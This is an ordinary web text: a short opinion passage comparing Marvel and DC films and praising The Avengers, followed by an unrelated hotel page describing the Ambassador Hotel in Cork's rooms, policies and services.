While Marvel may not have the silver bullets of incredibly famous superheroes, they do have a multitude of good stories to draw from. This is where I think Marvel has taken the lead in the last decade. Especially with the botched handling of lesser-known DC heroes like the Green Lantern, Marvel has shown that they can take any of their characters and hold it to continuity, not only within its specific franchise but also against other franchises as well. The sum of the parts ends up being greater than the whole. As DC tries to re-invigorate their Superman franchise to match that of their Batman dynasty, Marvel is pulling out all the stops with an entire arsenal of comic book characters.
Part of the appeal to me of Marvel's The Avengers (2012) is that it was a movie built on the backs of previous films. Granted, this film marked the appearance of the third actor to play the Hulk in a single decade, but the unique stories of these superheroes having already been covered in their own individual films opened up The Avengers to be an action-packed adventure. Of course, you really have to hand it not only to the casting department over at Marvel but to the movie's director, Joss Whedon, who could have ended up with a fractured and cobbled-together story involving some very different superheroes. Instead, the unique characteristics of the entire team add a rich depth to the natural comedy that's created in an earth-ending crisis.
2 sum it up: 2 films, 2 great comic book blockbusters.


text:
Ambassador Hotel
Superior City View Rooms
Recently refurbished, the spacious & elegant Superior rooms offer the ultimate in guest luxury. Tastefully decorated to the highest standards, with a warm welcome and inviting atmosphere. Many of our Superior rooms have a walkout balconies with stunning views overlooking Cork City. All Superior rooms have complimentary access to our Health Club. The New Ambassador Hotel is ideally located in the heart of Cork City perfect for your Cork City Hotel Break.
With easy access to all major road networks, you are just minutes from some of Cork City's main Industrial Estates - Little Island, Model Farm Road, Kilbarry and Cork Airport, to name but a few. The Ambassador Hotel is located a short distance from Cork City's Bus Station in Parnell Place & Kent Railway Station. The Airport in Cork City is only 7km from the hotel.
Room Features
- Large spacious rooms with high ceilings & elegant decor
- 1 Large Double Bed
- Rooms with own walkout balcony or with large windows with stunning views of Cork City & Harbour
- Crisp White Cotton Duvets & Pillows
- Crisp White Bathrobe & slippers for your use during your stay
- Mineral Water & morning newspaper
- Telephone
- Complimentary high speed Wi-Fi internet access
- Salon speed hairdryer
- Iron & ironing board
- Tea/Coffee making facilities
- 32 inch Flat screen TV
- Bath Tub with Shower
- Luxury toiletries & face cloths
- Vanity/Working Desk
- Easy Chair
- Smoke detector
Check-In Times & Policies
Check in time 14:00 pm / Check-out time 12:00 pm
Early arrivals before check in time of 2.00pm cannot be guaranteed. For guests who wish to access the rooms before check in times, we strongly recommend to reserve the night prior arrival. The Ambassador Hotel also provides service to store your luggage until the room is ready.
Late departures are on a request bases only, but can not be guaranteed. Please note a surcharge will apply.
Cancellation policy
Cancellation policy is 4:00pm the day prior to your arrival unless specified differently from your booking agent. If you cancel after this time, hotel will charge one night accommodation from your entire booking.
Please do not hesitate to contact us for more details on cancellation policies.
Credit cards
The following cards are accepted at the Hotel:
- American Express
- MasterCard
- Visa
- Maestro / Laser
- Diners Club
In house services
Hotels stay open 24h so there is someone available at all times. We offer babysitting services for families with young children. Business services, booking tours, doctor on call, or porter services can be dealt with our friendly and efficient reception desk located at the main reception area.
We also offer:
- Laundry service (Monday-Saturday)
- Wake up calls
- Taxi service can be arranged (costs apply)
- We offer services to Special need guests. There are few rooms dedicated but they must be enquired and requested at the time of the booking.